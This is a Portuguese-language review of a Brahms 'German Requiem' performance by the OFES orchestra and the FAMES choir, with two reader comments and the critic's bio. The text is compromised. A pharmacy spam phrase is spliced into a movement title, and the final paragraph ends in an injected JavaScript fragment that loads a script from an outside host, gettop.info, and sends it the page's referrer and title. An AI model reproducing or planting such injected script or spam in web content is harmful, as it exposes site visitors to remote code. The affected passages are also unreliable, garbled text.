Crítica

“Um Réquiem alemão”, de Brahms, pela OFES

Participações do Coro Sinfônico da FAMES (Faculdade de Música do Espírito Santo) e solistas.

Foram dois concertos, sendo que o primeiro ocorreu em 30 de novembro no Teatro Carlos Gomes. Tal noite na capital espírito-santense foi marcada por um congestionamento monumental em boa parte da cidade, que acabou por atingir as principais vias de acesso à região do teatro. No horário previsto para o início do espetáculo, muita gente ainda não havia chegado ao local, fato perceptível devido à pequena concentração de pessoas na frente do Carlos Gomes (quando comparada àquela que se vê em dias normais). A única opção acertada seria retardar o início do evento, o que de fato aconteceu.

Tal demora certamente prejudicou a concentração dos artistas. Assim, quando soaram as primeiras notas musicais, foram notados alguns problemas de afinação e de intensidade tanto na orquestra quanto no coro, evidenciados ainda mais devido à lentidão do andamento empregado (a indicação na partitura é “muito lentamente e com expressão”).

Com o desenrolar da apresentação, houve melhora significativa na qualidade da execução. Já no segundo movimento o Coral Sinfônico da FAMES mostrou-se mais seguro, cantando muito bem a passagem que se inicia no compasso 74 (So seid nun geduldig, liebe Brüder). A fuga final foi executada de modo muito correto. Daí em diante, os coristas ganharam confiança e mantiveram um padrão bem regular até o final da obra.

Se houve algumas falhas, como problemas pontuais de afinação e de pronúncia, além de sinais de cansaço vocal em certos trechos, as qualidades do conjunto prevaleceram na maior parte do tempo: bom equilíbrio entre os naipes, canto homogêneo (sendo que os contraltos se destacaram pela beleza do timbre), volume em geral satisfatório, principalmente nos trechos mais vigorosos da partitura, correta postura no palco.

Destacaríamos dois momentos: o comovente quarto movimento Wie lieblich sind deine approved european online pharmacy Wohnungen, cantado com muito lirismo e habilidade técnica, e os trechos mais vigorosos do sexto movimento Denn wir haben hie keine bleibende Statt (vencidos com bravura, onde o coro mostrou afinação impecável e excelente volume).

Belas as intervenções de Lício Bruno, baixo-barítono solista. O cantor repetiu o bom nível de desempenho já demonstrado na Nona Sinfonia de Beethoven, executada no início do mês neste mesmo teatro. Emitiu sem esforço aparente as notas mais graves, cantadas sem falhas na intensidade e na afinação. Articulou bem as palavras, estabelecendo correta relação entre texto e música, principalmente no sexto movimento.

Quanto ao soprano solista Laura de Souza, possui bonito timbre e voz de considerável potência. Soube cantar legato e não teve dificuldades com o andamento lento empregado pelo compositor no quinto movimento da obra, que assim foi definido, em poucas e acertadas palavras, pelo soprano Elizabeth Schwarzkopf: “a linha vocal é tão aguda, a emoção tão profunda.”

A OFES saiu-se a contento. Gostaríamos de ter visto um grupo maior, o que não foi possível devido ao tamanho do coro – estava prevista a vinda de outro conjunto de Minas Gerais, o que acabou não se concretizando. Boas atuações individuais do timpanista (sempre atento às indicações de dinâmica), dos solistas instrumentais no quinto movimento (oboé, clarinete e violoncelo) e do conjunto flauta e harpa no segundo movimento.

Destaque também para os primeiros e segundos violinos: trouxeram-nos à memória um antigo relato acerca da admiração que os músicos de orquestra nutriam pelo regente Artur Nikisch – devido à carismática liderança que esse exercia, dizia-se que os instrumentistas dirigidos por ele tocavam usando toda a extensão de seu arco, em vez de tocar só com a metade. No presente concerto, vimos os violinistas dando tudo de si, o que resultou em uma esplêndida atuação.

O regente Helder Trefzger conseguiu extrair uma sonoridade muito boa da orquestra, obtendo como resultado alguns momentos de altíssimo nível.  No geral, uma atuação bastante segura, com boa alternância na escolha dos andamentos e bom controle da sincronia entre vozes e instrumentos. Demonstra possuir bastante afinidade com esse tipo de repertório (obras para coro e orquestra).

Infelizmente, não podemos deixar de mencionar o incômodo barulho causado por alguns espectadores (em nome de todos esses, o “Troféu Melancia no Pescoço” vai para o cavalheiro com a máquina fotográfica barulhenta, que conseguiu prodigiosamente tirar mais de 20 fotos seguidas no último movimento) e a ausência de programa impresso para o público. Esperamos que a organização do evento adote medidas preventivas e corretivas voltadas para tais ocorrências na temporada de 2012, assim como aprimore o mecanismo de exibição de legendas – fundamental para a compreensão de obras vocais.

Mesmo com os problemas inicialmente apontados, mais uma vez houve grande presença de público, como tem sido a norma nos concertos da OFES. Ao término, a plateia aplaudiu ruidosamente os artistas. Destacaram-se os aplausos para o regente do coro, Sanny Souza, também violoncelista da orquestra.

Nossa impressão final é que se faz necessário maior amadurecimento de todos os músicos envolvidos para tornar possível uma apresentação praticamente sem máculas desta difícil obra. Entretanto, para uma primeira execução e diante das dificuldades apontadas, podemos afirmar que o resultado final agradou e que coro, orquestra e regente estão no caminho certo. Ao se aproximar o final da temporada 2011, mencionemos as palavras bíblicas empregadas por Brahms: dass sie ruhen von ihrer Arbeit (que repousem do seu trabalho), pelo menos enquanto não for anunciada a programação da próxima temporada…s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

2 Comments

  1. Realmente quem assistiu a esta magnifica obra saiu maravilhado, pois, mesmo com todos os problemas já mencionados, ficou evidente a beleza do canto e do instrumental. Parabenizo a FAMES por conseguir fazer tal trabalho que nos enche de orgulho.

  2. Claudio, de fato ambas as apresentações deixaram o público extremamente satisfeito. Nesse sentido, tanto o Coro Sinfônico da FAMES quanto a OFES merecem os nossos parabéns.
    Esperamos que em 2012 os dois conjuntos executem outras obras para coro e orquestra.
    Atenciosamente, Erico.

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Érico de Almeida Mangaravite
Delegado de polícia, formado em Odontologia e em Direito, com pós-graduação em Ciências Penais. Participou de corais, Frequentador de óperas e concertos. Foi colaborador do caderno Pensar, do jornal A Gazeta (ES), para o qual escreveu resenhas e artigos sobre música clássica.